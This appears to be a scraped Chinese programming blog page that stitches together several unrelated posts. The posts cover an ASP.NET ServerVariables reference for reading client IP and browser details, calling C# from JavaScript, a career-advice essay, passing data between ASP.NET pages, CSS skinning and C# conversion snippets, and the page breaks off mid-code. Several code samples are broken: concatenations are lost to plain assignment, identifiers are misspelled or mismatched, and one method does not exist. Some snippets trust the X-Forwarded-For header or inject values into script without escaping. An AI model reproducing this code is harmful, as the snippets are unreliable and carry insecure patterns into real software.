    )____________________________________________________________________________________________________________________________________________________________---光棍节,你想好怎么过了吗?来聆听大师的演讲吧 参加浏览器性能挑战赛免费去美国!

    ASP.NET(C#)中如何获取IP,名称,操作系统,浏览器等信息

    分类: ASP.NET2011-04-0819:28135人阅读评论(0)收藏举报

    客户端ip:
    Request.ServerVariables.Get("Remote_Addr").ToString();
    客户端主机名:
    Request.ServerVariables.Get("Remote_Host").ToString();
    客户端浏览器IE:
    Request.Browser.Browser;
    客户端浏览器 版本号:
    Request.Browser.MajorVersion;//
    客户端操作系统:
    Request.Browser.Platform;
    服务器ip:
    Request.ServerVariables.Get("Local_Addr").ToString();
    服务器名:
    Request.ServerVariables.Get("Server_Name").ToString();
    如果你想进一步了解ServerVariables,可以用
    foreach(String o in Request.ServerVariables){
    Response.Write(o+"="+Request.ServerVariables[o]+"<br>");
    }
    =================================================
    Request.ServerVariables("Url")
    返回服务器地址
    Request.ServerVariables("Path_Info")
    客户端提供的路径信息
    Request.ServerVariables("Appl_Physical_Path")
    与应用程序元数据库路径相应的物理路径
    Request.ServerVariables("Path_Translated")
    通过由虚拟至物理的映射后得到的路径
    Request.ServerVariables("Script_Name")
    执行脚本的名称
    Request.ServerVariables("Query_String")
    查询字符串內容
    Request.ServerVariables("Http_Referer")
    请求的字符串內容
    Request.ServerVariables("Server_Port")
    接受请求的服务器端口号
    Request.ServerVariables("Remote_Addr")
    发出请求的远程主机的IP地址
    Request.ServerVariables("Remote_Host")
    发出请求的远程主机名称
    Request.ServerVariables("Local_Addr")
    返回接受请求的服务器地址
    Request.ServerVariables("Http_Host")
    返回服务器地址
    Request.ServerVariables("Server_Name")
    服务器的主机名、DNS地址或IP地址
    Request.ServerVariables("Request_Method")
    提出请求的方法比如GET、HEAD、POST等等
    Request.ServerVariables("Server_Port_Secure")
    如果接受请求的服务器端口为安全端口时,则为1,否则为0
    Request.ServerVariables("Server_Protocol")
    服务器使用的协议的名称和版本
    Request.ServerVariables("Server_Software")
    应答请求并运行网关的服务器软件的名称和版本
    Request.ServerVariables("All_Http")
    客户端发送的所有HTTP标头,前缀HTTP_
    Request.ServerVariables("All_Raw")
    客户端发送的所有HTTP标头,其结果和客户端发送时一样,没有前缀HTTP_
    Request.ServerVariables("Appl_MD_Path")
    应用程序的元数据库路径
    Request.ServerVariables("Content_Length")
    客户端发出內容的长度
    Request.ServerVariables("Https")
    如果请求穿过安全通道(SSL),则返回ON如果请求来自非安全通道,则返回OFF
    Request.ServerVariables("Instance_ID")
    IIS实例的ID号
    Request.ServerVariables("Instance_Meta_Path")
    响应请求的IIS实例的元数据库路径
    Request.ServerVariables("Http_Accept_Encoding")
    返回內容如:gzip,deflate
    Request.ServerVariables("Http_Accept_Language")
    返回內容如:en-us
    Request.ServerVariables("Http_Connection")
    返回內容:Keep-Alive
    Request.ServerVariables("Http_Cookie")
    返 回內容如:nVisiT%2DYum=125;ASPSESSIONIDCARTQTRA=FDOBFFABJGOECBBKHKGPFIJI;ASPSESSIONIDCAQQTSRB=LKJJPLABABILLPCOGJGAMKAM;ASPSESSIONIDACRRSSRA=DKHHHFBBJOJCCONPPHLKGHPB
    Request.ServerVariables("Http_User_Agent")
    返回內容:Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1;SV1)
    Request.ServerVariables("Https_Keysize")
    安全套接字层连接关键字的位数,如128
    Request.ServerVariables("Https_Secretkeysize")
    服务器验证私人关键字的位数如1024
    Request.ServerVariables("Https_Server_Issuer")
    服务器证书的发行者字段
    Request.ServerVariables("Https_Server_Subject")
    服务器证书的主题字段
    Request.ServerVariables("Auth_Password")
    当使用基本验证模式时,客户在密码对话框中输入的密码
    Request.ServerVariables("Auth_Type")
    是用户访问受保护的脚本时,服务器用於检验用户的验证方法
    Request.ServerVariables("Auth_User")
    代证的用户名
    Request.ServerVariables("Cert_Cookie")
    唯一的客户证书ID号
    Request.ServerVariables("Cert_Flag")
    客户证书标誌,如有客户端证书,则bit0为0如果客户端证书验证无效,bit1被设置为1
    Request.ServerVariables("Cert_Issuer")
    用户证书中的发行者字段
    Request.ServerVariables("Cert_Keysize")
    安全套接字层连接关键字的位数,如128
    Request.ServerVariables("Cert_Secretkeysize")
    服务器验证私人关键字的位数如1024
    Request.ServerVariables("Cert_Serialnumber")
    客户证书的序列号字段
    Request.ServerVariables("Cert_Server_Issuer")
    服务器证书的发行者字段
    Request.ServerVariables("Cert_Server_Subject")
    服务器证书的主题字段
    Request.ServerVariables("Cert_Subject")
    客户端证书的主题字段
    Request.ServerVariables("Content_Type")
    客户发送的form內容或HTTPPUT的数据类型

    _______________________________________________________________________________________________________________________________________________________________级光棍节,你想好怎么过了吗?来聆听大师的演讲吧 参加浏览器性能挑战赛免费去美国!

    如何使用Javascript调用后台数据之实例方法详解

    分类: Javascript2011-04-2916:0495人阅读评论(0)收藏举报

    1. javaScript函数中执行C#代码中的函数:

    方法一:1、首先建立一个按钮,在后台将调用或处理的内容写入button_click中;
    2、在前台写一个js函数,内容为document.getElementById("btn1").click();
    3、在前台或后台调用js函数,激发click事件,等于访问后台c#函数;

    方法二:1、函数声明为public
    后台代码(把public改成protected也可以)
    public string ss()
    {
    return("a");
    }

    2、在html里用<%=fucntion()%>可以调用
    前台脚本
    <script language=javascript>
    var a = " <%=ss()%>";
    alert(a);
    </script>

    方法三:1、 <scriptlanguage="javascript">
    <!--
    function __doPostBack(eventTarget, eventArgument)
    {
    var theForm = document.Form1; //指runat=server的form
    theForm.__EVENTTARGET.value = eventTarget;
    theFrom.__EVENTARGUMENT.value = eventArgument;
    theForm.submit();
    }
    -->
    </script>
    <input type="button" value="按钮" >



    方法四: <script language="javascript">
    function SubmitKeyClick()
    {
    if (event.keyCode == 13)
    {
    event.cancelBubble = true;
    event.returnValue = false;
    document.all.FunName.value="你要调用的函数名";
    document.form[0].submit();
    }
    }
    < /script>
    < INPUT type="text">
    < input type="hidden" > 〈!--用来存储你要调用的函数 --〉

    在.CS里有:
    public Page_OnLoad()

    {
    if (!Page.IsPost())
    {
    stringstrFunName=Request.Form["FunName"]!=null?Request.Form["FunName"]:"";
    //根据传回来的值决定调用哪个函数
    switch(strFunName)
    {
    case "enter()":
    enter() ; //调用该函数
    break;
    case "其他":
    //调用其他函数
    break;
    default:
    //调用默认函数
    break;
    }
    }
    }
    public void enter()
    {
    //……比如计算某值
    }

    2.如何在JavaScript访问C#变量?
    答案如下:
    方法一:1、通过页面上隐藏域访问 <inputtype="hidden" runat="server">
    方法二:1、如后台定义了PUBLIC STRING N;前台js中引用该变量的格式为' <%=n%>'或" <%=n%> "
    方法三:1、或者你可以在服务器端变量赋值后在页面注册一段脚本
    " <script language='javascript'>var temp=" tmp "</script>"
    tmp是后台变量,然后js中可以直接访问temp获得值。
    3.如何在C#中访问JavaScript的已有变量?
    答案如下:
    方法一:1、前台使用静态文本控件隐藏域,将js变量值写入其中;
    2、后台用request["id"]来获取值;
    方法二:可以用cookie或session

    4.如何在C#中访问JavaScript函数?
    答案如下:
    c#代码中执行javaScript函数:
    方法一:1、Page.RegisterStartupScript("ggg","<script>SetVisible(1); </script>");
    方法二:使用Literal类,然后
    private void Button2_Click(object sender, System.EventArgs e)
    {
    string str;
    str=" <script language='javascript'>";
    str ="selectRange()";
    str =" </script>";
    //Literal1.Visible=true;
    Literal1.Text=str;
    }

    ____________________________________________________________________________________________________________________________________________________________________——————————————————————————————————————————————教你如何在三个月内获得三年的工作经验

    分类: 生活杂谈2011-09-2119:2350人阅读评论(0)收藏举报

    一篇很不错的文章,它告诉我们,只要方法正确,3个月能做的事很多,并且,最重要的是:不仅要学,而且要习,那样才能真正有用。转贴此文过来,供大家共同学习,分享!

      很多职场新人都谈到了工作经验的问题,似乎招聘公司不给你机会,你就没办法获得必要的工作经验,其实并不一定。很多资料在网上都是可以找到的,只是看你具备不具备足够的信息收集与处理能力,而这个收集与处理信息的过程,也能极大的提升你的职业能力。

      我一直有个感觉,在“模仿中成长,在创新中成功”,其实在真正的职业工作中,大多数的工作都是模仿重复,强调的是工作效率,而不是创新。对于企业而言,过度的创新必然导致过多的失败,以及效率的低下。以下方式是我的成长中曾经做过的,也是我用来训练新员工的方案。你们也可以试试。

      看到很多谈应聘技巧的帖子,其实并不实用,有菜谱并不代表能做出好菜,能不能做出好菜仍要看你天天炒,日日炒,炒出来的本事。所以,我这里要强调的一点是,你收集到的任何资料都不能只是看看,而必须自己手把手,动手去整理、去归类,去建立新的结构,这个信息收集与处理的过程甚至比你最后总结成文的文字更重要。

      何谓“学习”?学习学习,学而习,习而成习惯。光学不习,那知识还只是书上的,老师教的,不是你自己的,只有你重复练习了,经过量变,才会有质变,当你形成条件反射时,你就真正掌握这个东西了。

      这个过程需要维持两至三个月的时间,一定要坚持下去,你会看到自己的变化的。否则,你会用你最青春的两三年来慢慢沉淀出这些你两三个月就能掌握的东西。一切一切,其实,你们比的不是其它的东西,只是比的速度。 这也是为什么我那么强调基本功的原因。

      1. 职业分析:

      A. 分析性格——分析长处和短处——分析大家都有的长处——确定自己最终发展的专业

      B. 确定兴趣——分析竞争的激烈程度和发展的空间大小——寻找相对优势—确定自己最终进入的行业

      C. 确定行业内自己的专业方向,继续保持自身的专业优势。

      2. 编写行业报告——着重对行业全面性的把握。

      A. 通过上网查询和购买行业报刊,收集不少于三十万字的行业、重点企业的有效资料,在电脑中进行资料分析、分类、汇总。

      B. 参考同类行业书籍,确定写作提纲,确定文章结构和逻辑方向,培养文字表达能力和逻辑能力,以及熟练的电脑使用技能。

      C. 将三十万字资料浓缩成十至十五万字,写成一本符合出版行文格式要求的行业报告。如果选题好,还真的有出版的可能性。如果有一定的独特见解,也可以写成文章争取在专业刊物上发表,树立个人专业形象。

      3. 编写讲座报告——着重对专业系统性的把握。

      A. 根据你希望从事的专业岗位,从报告中选择两到三个重点,将书稿压缩成两万字的讲座稿(按每分钟150字的演讲速度,即两个小时)。

      B. 将演讲稿再浓缩成两千字的提纲和重要内容,使用PPT软件编成演讲用演示文件,并根据相关内容配以精彩图片。

      C. 培养职业化的公众表达能力和表达方式,练习普通话,使用讲座稿进行互动讲座和演讲练习,只到脱口而出。

      告诉大家两个名人是这么成长的.一个是教英语的李阳,他读大学时成绩不好,英语不及格,然后他做什么去了?他跑到没人的地方大声喊英语去了.一个是做广告的叶茂中,他卖广告卖不出去了,他跑回家写书.别人看到的和他自己说的是拿着书出版出了名,发达了.其实做过这个事的人才会知道,当他把这本书写出来时,能不能出版已经不重要的,因为他知道他变化了.

      我当时也是没办法了,把所有的钱买了台电脑,在家里做了三个月这个事,三个月后的变化是惊人的,我的父母、我兼职的公司的老总,最重要的是我自己,都感觉到了自己的变化。完全不同了。其实我写的已经不是理论了,其实什么都没有技巧的,只是多看书,然后多做,硬磕,坚持下去,刚开始觉得没变化,没感觉,很累,坚持不下去,然后做着做着,就越来越快了,然后慢慢的有变化.

      而且有意思的是,我在家呆了三个月,做的事其实根本与我所从事的工作没有一点关系.只是这三个月的训练,对于我的逻辑、结构、全局性、文字表达能力、口头表达能力有了极大的提升。

      至于收入翻5翻,当年一个月也就八百块钱,然后做完这个训练后整个人的状态都变了,有自信了,然后写了一个方案去应聘,结果进了一家大公司。

      当然,开始我还不想去,因为对方只给我800/月,还要自己租房子,吃饭,觉得不好,但是对方连续四个月三次打电话找我,于是我去了,结果去了就后悔了,真正好的公司根本不在乎工资的,重要的是你自己的能力。

      第一个月,我就挣了八千块,我以前想都不敢想的。然后两个月就转了正,而有一个有关系的同事,呆了一年还没能转正。然后每个月的收入超过工资几倍,还有年终奖两万,出国旅游,其实也不累,我到这个家公司的同时,还到另一家广告公司兼职,呵呵,很回忆的过去。

      现在看到太多的人谈工资,我确实不喜欢,我这几年都不和老板谈工资的,因为说出来好笑,帐面工资高了,还要多扣税.我只在意公司的分配方式,怎么样算提成和奖金,年薪.

      上个月有一个和我同龄的名牌大学MBA来我现在所在的小公司应聘,不愿意和人事小姐谈,老板不在,我就来谈了。

      我说好呀,以你的资历我不能和你谈给谁做副手的问题了,我跟你谈谈公司的分配方式吧,其实我们公司普通员工的收入都不高的,长沙平均水平,只是不忙,周末休两天,工作满一年还有一个星期的年休假。

      但是公司几个部门负责人还是有钱的,象我三十岁,一年18万左右的年薪,其它的我就不清楚了,有几个我一个星期才见一次的,比我还小,只怕拿得比我还多.你应该也是这样的吧.

      他要求6千一个月的月薪,我说这倒不重要,重要的是公司不会给你安排业务的,你自己找业务回来,公司给你平台,给你配团队,能挣多少钱是你的本事.

      我说完了,问:你有什么想法吗?他说没想法,起身走人.

      太有意思了,你在长沙想拿六千一个月,你等别人找事给你做,你为什么不能自己找到项目呀?六千是底薪呀,差不多7万2千的底薪,如果是这样的,那我自己算我应该拿到二十五万以上的年薪了.

      从来拿底薪和拿年薪的人就是不一样的. 如果你不敢拿年薪,你就不要想着谈什么老板给你少了. 企业是要盈利的,资本家是要剥削的.问题是,如果你是一个真正能创造价值的人,你自己所创造的价值你是可以拿到手的.

      大学毕业生,如果什么经验也没有,只有知识,没有技能,能找到一个给你几百块钱,让你在这里呆着学东西的企业就应该感谢了,如果你觉得这种企业不是你所向往的,你在上大学时就老老实实努力学,少玩,多练.我工作有一个总结,钱永远不会是目标,但是它会是结果.

      谈到职业规划,有人说过职业可以规划的,我也相信未来可以计划的,问题是,你是不是这个能不能计划出你未来的人,以及,你身边有没有熟悉你的高人指点,如果没有,那你自己都不会明白你自己的未来是什么的,就象象你去做所谓的性向测试,说不定是你自己在自欺欺人了,这种事多了,没人会把自己算成一个坏人的。

      所以重要的还是那一句话,复杂的生活简单过,简单的事情重复做。

      你是中文系的,如果你的年纪还不是很大,建议你凭你自己的能力,哪怕是工资少点,你都要进最好的广告公司,去呆上一年半载,按我说的方法偷师,基本能力提升了,慢慢的你会遇到一些贵人的,还有你会涉及一些行业,慢慢的,你会发觉你内心深处喜欢的行业。

      呵呵,特别是哦,女孩子,只有努力才能进大公司,只有进了大公司才能遇到优秀的男生。好男生都关在写字楼里上班下班加班的,呵呵。生活圈子都小的,你选择的工作圈在你努力的阶段就是你的生活圈。

      在你的成长过程中,有五个人非常重要。

      第一个,导师,教练。

      他教给你实用的技巧、一定的工作经验,而不是知识。他可以给你指明方向。这个人可能是你的上司、前辈、学长。

      第二个,陪练,同路人。

      任何人的成长都不是学出来的,而是学而习,习而成习惯,练出来的。在这个练的过程中,是一件很苦的过程,是一系列简单动作的重复重复再重复,由量变到质变的过程,在这个过程中,一个人很难坚持下来,这时你需要一个同路人。他可以是和你共同兴趣,共同目标的朋友,最好是你生命中所爱的人。

      第三个,榜样,他是你人生的标杆。

      在你一生中,在不同阶段,会有不同的标杆,你向他学习,受他鼓舞,一步一步向他靠扰。最重要的是那个你看得到摸得着的人,你知道,不需要通过机遇,只需要通过努力就可以达到的榜样。

      第四个,敌人,看不起你的人,拒绝过你的人。

      人不到绝境是不会有斗志的,你要证明他是错的,他会给你真正的动力。

      第五个,最重要的是第五个,你们觉得第五个人是你自己。

      世界上没有救世主,任何希望当别人救世主的人不是疯子就是傻子,只有自己才可以救自己。  这个世界上,失败的人除了天分太差之外,只有以下几点,懒,方向不对,方法不对,没有坚持。  如果你自己做不到,你不要怪别人。 基本功是你自己的,细节所积累下来的,能让你迅速融入新环境.

      不知道怎么跟大家谈基本功这个问题.很多东西大家都没把它当基本功了.比如说,我想要的人,他打字很快,他很少很少写错别字,有丰富的词汇量,逻辑很清晰,用词很准确,这些看上去难不难?但是在我这两年见过的应聘的策划文案来看,只有两个人做到了.一个是做了三年文案的女孩子,慢慢磨的.一个是中文硕士生,还没毕业.

      其实大学到底教给大家什么了?知识?

      大学阶段必须打好你的基本功,这些决定了你就业后的学习能力,阶层简单工作的工作效率.

      如果谁还说打字、排版是文员做的事,那只能说他是真正不明白真正的职场需要。

      你们在大学所学到的知识,都是同质化的了,如果将知识变为通用的、标准化的技能才是重要的。

      既然学的东西没用,那在大学还要不要认真学习呢?

      当然要,因为这些东西是系统性的,这个学习过程能培养你的学习能力。知识不能改变你的命运了,但是它可以改变你的气质。如果你读个四年大学出来,你的气质还不能好一点,那你的大学就真的白读了。

      经常有人在问面试穿什么衣服呀?穿什么衣服重要吗?重要的是什么人在穿这些衣服。重要的是你的精气神,你的气质。

      有一天有一个应聘文案的来了,我叫设计总监先和他聊聊。聊完了,我说这个人不行吧,设计总监说为什么?我说我们调性不符,我们多少都有点书卷气,而他是一脸的江湖气。果然,呵呵。

      招聘方当然是要看应聘者的外形条件的,但并不是丑的就不招,重要的是能力和你的气质,是不是符合公司要求的。 重要的是兴趣。然后是狂练基本功,简单重复积累。 学打拳,你先站三个月桩再说。

      面对新人,我说很多东西,你会发现,每个字你都认识,每句话你都看得懂,但是你理解吗?领悟,是教不了的。自己努力吧,自己重复做,再会明白自己最想要的是什么。

      你考公员员如果死活考不上,那你应该去想想,这种机械性的考试你都过不了,那是不是学习方法,或者兴趣不对呀?做销售,同样的,从基阶做起吧。你的财政学对你有没有帮助?当然有,你对销售的认识会不同的。

      象十年前我卖保险,人人都跟银行比,算利息,都算得没有银行高,只能说死了人有赔了。而我是怎么算呢?我用递增,还是增减年金公式算,呵呵,比银行高呢。另外,别人说死了人有赔,最多是说得婉转点。我可没把它当死人卖呀,我把它当礼物卖,当成父母送给孩子的礼物卖,卖得可好了,呵呵。现在哪个做人寿险的人敢说他一年做两百多单?呵呵,我好象一年做了二百四十单左右,全是年缴哦。

      这个世界上最穷的和最富的人都在做销售.做销售的人底薪很低的,大多数人拼的只是体力罢了,如果你想做好,你多花心思就可以了.多想多跑,还是在一个行业里多坚持,找到高手做师父带你.

      我说说当年我混日子的时候怎么过来的.那年头电脑还紧俏,我只要一有机会就到别人电脑上练东西,终于练成了今天的电脑基本功,一方面要多学,一方面要多用心.然后,我每天做记录,记下工作的流程,记下别人说过的工作中重要的话,其实什么叫行业经验?很多老手随便说的话,都是行话了,有它的意思的,听了就要想,就要去查,很多东西就知道了为什么要记录,因为什么叫职业化?职业化就是标准化、流程化,模式化,你多看多记多想就能明白了,这些东西在很多地方都是通用的。

      有一点,如果这里收入还可以的话,你好好学吧,任何工作都要呆一两年,你才会有认识的,跳来跳去的对你不好,真的,你还在磨性情的时候,只要你保持学习的能力,别下班玩去了就可以了,有压力才有动力,好好留心心仪的公司招聘的要求,按那个要求去做一个一年的训练与学习计划,一年后,那个公司在等你。。。

    ________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________ASP.NET 页面间传递参数的方法

    分类: ASP.NET2011-04-0814:1025人阅读评论(0)收藏举报

    转自: http://www.cnblogs.com/eoiioe/archive/2008/04/08/1142247.html

      这个新特性意味着ASP.NET2.0开发人员目前有三种可供选择 的技术来将数据从一个web页面传送到另外一个页面。这三种方法是:响应重定向,服务端传输和新的跨网页提交特性。我们可以已经熟悉前两种技术了,因此, 我们只是简要地复习一下它们,然后我们会将主要精力放到学习如何使用跨网页提交特性,以及阐述一下这种方法和响应重定向以及服务传输方式有什么不同。

      一、响应重定向方法

      响应重定向方法是目前为止将一个网页重定向到另一个网页的最简单的 方法的最简单的方法。当Web服务器接到一个重定向请求后,它会将一个响应头送给客户端,这将导致客户端发送一个新的请求到服务器。按句话说,一个重定向 请求实际上是两个请求响应:一个是最初的请求响应,另一个是新的重定向请求响应。

      在ASP.NET中实现重定向很容易。下面的代码演示了如何使用Response.Redirect方法实现网页重定向:

       protected void Redirect_Click(object sender, EventArgs e)
      {
       Response.Redirect("menu.aspx");
      }

    要注意的是重定向请求只是一个GET请求,这就意味着我们不能从源页中通过重定向命令提交数据。但是我们可以在重定向中使用查询字符串来传递数据。如下面代码所示:

       protected void Redirect_Click(object sender, EventArgs e)
      {
    Response.Redirect("menu.aspx?userName=" + UserName.Text));
    }


      上面的例子将一个查询字符串作为参数传递给了Response.Redirect方法的目标URL。我们可以通过如下的代码获得源数据。

    protected void Page_Load(object sender, EventArgs e)
      {
    string userName = Request["userName"];
    }

    二、服务器传输方法

      和依赖于客户端向另一个新页发请求不同,服务器传输是一种服务器重 定向技术,这种技术通过简单的改变Web服务器所处理的代码来达到请求一个新页的目的。当被请求页和源页面在同一个服务器时,服务器传输要比Response.Redirect方法更有效,这是由于这种技术可以避免额外的开销,仅仅使用服务器的资源就可以进行重定向。要注意的这种技术有一个副 作用,在页面进行重定向时,客户端的URL仍然会保持源页面的URL,这可能会使客户认为他们所获得的数据是源页面产生的。当然,在大多数情况下,这不是 问题,但是这将使调试变得更困难。

      Server.Transfer方法还可以保存初始页的HttpContext。因此,目标页可以访问源页面的值。我们可以使用FormsCollection属性来从目标页面中获得源页面的值。首先,要确定 我们使用了被重载的方法,这个方法有两个参数:目标URL和一个Boolean类型的值,告诉服务器是否保存用于描述源页面值的Form。如下面的代码所 示:

      Server.Transfer("Menu.aspx",true);
      然后,我们在目标页面中获得一个叫txtUserName的Textbox控件的值的代码如下:
       object obj =Request.Form["txtUserName"];

      三、Response.Redirect和Server.Transfer的比较

      由于Response.Redirect方法要进行两次请求响应操 作,因此,我们应该在对性能要求高的网站尽量避免使用这种方法。然而,只从技术上说,使用redirect方式确实可以从一个网页跳到另一个网页。相比之 下,Server.Transfer会更有效率,但是跳转的范围仅限于同一个Web服务器的不同网页。从本质上说,我们可以使用Server.Transfer来消除不必要的请求响应操作。如果我们需要重定位到不同服务器的网页,就需要使用Response.Redirect方 法。

      四、跨页提交概述

      在ASP.NET 2.0中,我们可以通过实现IbuttonControl接口提交给不同的WebForm,来实现跨网页的提交。和Response.Redirect类 似,跨网页提交是一个基于客户端的传输机制,但也有点象Server.Transfer,目标网页也可以访问源网页的数据。为了使用跨网页提交,我们需要 在源网页中的PostBackUrl属性中指定目标URL。

      五、实现跨网页提交

      这部分将讨论一下如何在ASP.NET2.0中实现跨网页提交。为 了开始我们的学习,假设有两个Web页,一个是源Web页,另一个是目标Web页。在源网页中初始化了使用按钮进行的跨网页提交操作。我们首先必须设置目 标网页按钮的PostBackUrl属性,顺便说一句,所有实现了System.Web.UI.WebControls.IbuttonControl接 口的Web控件都有跨网页提交的特性。下面的代码将演示这一过程。

      PostBackUrl="~/target.aspx" text = "Post to a targetpage"/>
      当我们设置PostBackUrl属性时,ASP.NET框架将相应的控件绑定到一个新的叫WebForm_DoPostBackWithOptions的JavaScript函数,产生的Html代码如下:

      οnclick="javascript:WebForm_DoPostBackWithOptions(newWebForm_PostBackOptions("btnSubmit", "", false,"","Target.aspx", false, false))"id="btnSubmit" />

      对于上面的html代码来说,当用户单击按钮时,浏览器将提交目标URL(Target.aspx),而不是源URL。

    六、从目标页面中获得源页面控件的值

      ASP.NET2.0提供了一个叫PreviousPage的新的 属性,这个属性无论在何时当前页面进行跨网页提交操作时都会指向源页面。要注意的是,当源页面和目标页面在不同的应用程序中时,这个属性包含null(这 个null并不是未初始化的意思)。还有要注意的是当目标网页访问PreviousPage属性时可以获得源页面的数据,ASP.NET运行时装载并执行 了源页面。这将引发ProcessChildRequest事件的发生。而且,它还会引发Page_Init事件、Page_Load和任何其他的源页面 按钮单击事件。

      因此,我们要避免由于不小心进行误操作,所以最好通过IsCrossPostBack属性来确认是否为一个跨网页提交发生,如果这个属性值为true,那么目标网页就是通过一个跨网页提交动作而调用的。如果 是通过另外一种方式调用的(如一般的请求、Response.Redirect或是一个Server.Transfer),这个属性的值为false。下 面的例子演示了如何使用这个属性。

    if ( PreviousPage.IsCrossPagePostBack)
      {
       //执行代码
      }
    //******************************************
      这个PreviousPage属性在Server.Transfer和跨网页提交中都可以使用。在ASP.NET2.0中,我们可以在调用Server.Transfer操作后使用PreviousPage属性在目标页面中来获得源页面的数据,代码如下:
    *******************************************//
       {
       Server.Transfer("menu.aspx");
       }

      protected void Redirect_Click(object sender, EventArgs e)

      //在这个接收面中我们现在可以获得Web页面的数据,代码如下:

       protected void Page_Load(object sender, EventArgs e)
      {
       if (PreviousPage != null)
       {
       TextBox txtBox = (TextBox)
       PreviousPage.FindControl("txtUserName");
       if (textBox != null)
       string userName = textBox.Text;
       //其他可执行的代码
       }
      }


      要注意的是上面的代码必须将txtUserName控件转换为TextBox类型,以便可以访问其中的值。

    七、使用PreviousPageType

      PreviousPageType属性提供了在跨网页操作中访问源页面的强类型能力,下面让我们演示一下如何不通过任何类型转换来从源页面中获得控件值。代码如下:

      < asp:TextboxID="txtUserName" Runat="server" />
      < asp:TextboxID="txtPassword" Runat="server" />
    < asp:Button ID="Submit" Runat="server"Text="Login"PostBackUrl="Menu.aspx" />

      要注意的是单击按钮可以重定向到一个叫“Menu.asp”的目标页。这个目标页可以使用如下的代码获得用户名和密码:

      八、保存视图状态

      对于跨网页提交来说,ASP.NET2.0 内嵌了一个叫__POSTBACK的隐藏字段,这个字段包含了关于源页面的视图信息 -- 也就是由源页面提供了,包含了一个带有一个非空PostBackUrl属性值的服务端控件。目标页可以使用__POSTBACK中的信息来获得源页面的视 图状态信息。代码如下:

       if(PreviousPage!=null && PreviousPage.IsCrossPagePostBack &&
      PreviousPage.IsValid)
      {
    TextBoxtxtBox = PreviousPage.FindControl("txtUserName");
       Response.Write(txtBox.Text);
    }

      在上面的代码中核对了用于确保PreviousPage属 性不为null的检查代码。顺便提一下,如果目标页和源页面不在同一个应用程序中,这个PreviousPage属性的值为null。只有在进行跨网页提 交操作时,IsCrossPagePostBack属性才为true。

      这个跨网页提交的特性,是ASP.NET2.0中最强有力的特性之一,这种技术将允许在一个页面中提交到另外一个页面,并且可以在目标页面地无缝地操作源页面中的数据。

     

    展开全文
  • 在ASP.Net中两种利用CSS实现多界面的方法通过使页面动态加载不同CSS实现多界面方法一: public void page_load(Object obj,EventArgs e) { //创建服务器端控件. //指定的标记"LINK"初始化此类的新实例....

     

    在ASP.Net中两种利用CSS实现多界面的方法

    通过使页面动态加载不同CSS实现多界面

    方法一:

    <%@page language="C#"%>
    <%@import namespace="System.Data"%>
    <script language="c#" runat="server">
    public void page_load(Object obj,EventArgs e)
    {
    //创建服务器端控件.
    //指定的标记"LINK"初始化此类的新实例.
    HtmlGenericControl objLink=new HtmlGenericControl("LINK");
    objLink.ID=ID;
    objLink.Attributes["rel"]="stylesheet";
    objLink.Attributes["type"]="text/css";
    objLink.Attributes["href"]="portal.css";

    //此控件不产生任何可见输出,仅作为其他控件的容器,可在其中添加,插入或移除控件.
    MyCSS.Controls.Add(objLink);
    }
    </script>
    <html>
    <head>
    <title>c#</title>
    <asp:placeholder id="MyCSS" runat="server"></asp:placeholder>
    </head>
    <body bgColor="#ffcc66" style="FONT:9pt">
    <form runat="server">

    </form>
    </body>
    </html>


    通过动态设置页面所有同类型控件的样式来该变界面:

    方法二:

    可以通过改变WEB控件的CssClass属性,可方便地设置和修改控件的样式。
    但在实际开发过程中,一个个地设置控件的CssClass属性,非常繁琐,所以此思路应用不广.
    但下面的代码段演示了一次性改变页面所有同类型控件的样式的方法,可以实现简单的SKIN等功能。

    代码如下:

    public void page_load(Object obj,EventArgs e)
    {
    if(!Page.IsPostBack){
    //为页面的所有控件设置样式.
    SetCSS(Page.Controls);
    }
    }

    private void SetCSS(System.Web.UI.ControlCollection vControls)
    {
    for(int i=0;i<vControls.Count;i++)
    {
    System.Web.UI.Control vControl=vControls[i];

    //得到控件的类型
    //可增加控件类型及相应处理方法
    string PType=vControl.GetType().Name;
    switch (PType)
    {
    case "TextBox":
    TextBox_CSS ((TextBox) vControl);
    break;
    case "Button":
    //Button_CSS ((Button) vControl);
    break;
    case "DataGrid":
    //DataGrid_CSS ((DataGrid) vControl);
    break;
    }
    if(vControl.Controls.Count>0)
    SetCSS(vControl.Controls);
    }
    }


    private void TextBox_CSS(TextBox tb){
    tb.CssClass="TextBox_show";
    }

    <form runat="server">
    <asp:textbox id="Search1" runat="server"/>
    <asp:textbox id="Search2" CssClass="INPUT" runat="server"/>
    </form>
    运行后,查看页面源码.可发现文本框的样式已统一修改为"TextBox_show".

    转换函数大全

    1、DateTime 数字型
    System.DateTime currentTime=new System.DateTime();;
    1.1 取当前年月日时分秒
    currentTime=System.DateTime.Now;;
    1.2 取当前年
    int 年=currentTime.Year;;
    1.3 取当前月
    int 月=currentTime.Month;;
    1.4 取当前日
    int 日=currentTime.Day;;
    1.5 取当前时
    int 时=currentTime.Hour;;
    1.6 取当前分
    int 分=currentTime.Minute;;
    1.7 取当前秒
    int 秒=currentTime.Second;;
    1.8 取当前毫秒
    int 毫秒=currentTime.Millisecond;;
    (变量可用中文)

    2、Int32.Parse(变量) Int32.Parse("常量")
    字符型转换 转为32位数字型

    3、 变量.ToString()
    字符型转换 转为字符串
    12345.ToString("n");; //生成 12,345.00
    12345.ToString("C");; //生成 ¥12,345.00
    12345.ToString("e");; //生成 1.234500e+004
    12345.ToString("f4");; //生成 12345.0000
    12345.ToString("x");; //生成 3039 (16进制)
    12345.ToString("p");; //生成 1,234,500.00%


    4、变量.Length 数字型
    取字串长度:
    如: string str="中国";;
    int Len = str.Length ;; //Len是自定义变量, str是求测的字串的变量名

    5、System.Text.Encoding.Default.GetBytes(变量)
    字码转换 转为比特码
    如:byte[] bytStr = System.Text.Encoding.Default.GetBytes(str);;
    然后可得到比特长度:
    len = bytStr.Length;;

    6、System.Text.StringBuilder("")
    字符串相加,(+号是不是也一样?)
    如:System.Text.StringBuilder sb = new System.Text.StringBuilder("");;
    sb.Append("中华");;
    sb.Append("人民");;
    sb.Append("共和国");;

    7、变量.Substring(参数1,参数2);;
    截取字串的一部分,参数1为左起始位数,参数2为截取几位。
    如:string s1 = str.Substring(0,2);;

    8、String user_IP=Request.ServerVariables["REMOTE_ADDR"].ToString();;
    取远程用户IP地址

    9、穿过代理服务器取远程用户真实IP地址:
    if(Request.ServerVariables["HTTP_VIA"]!=null){
    string user_IP=Request.ServerVariables["HTTP_X_FORWARDED_FOR"].ToString();;
    }else{
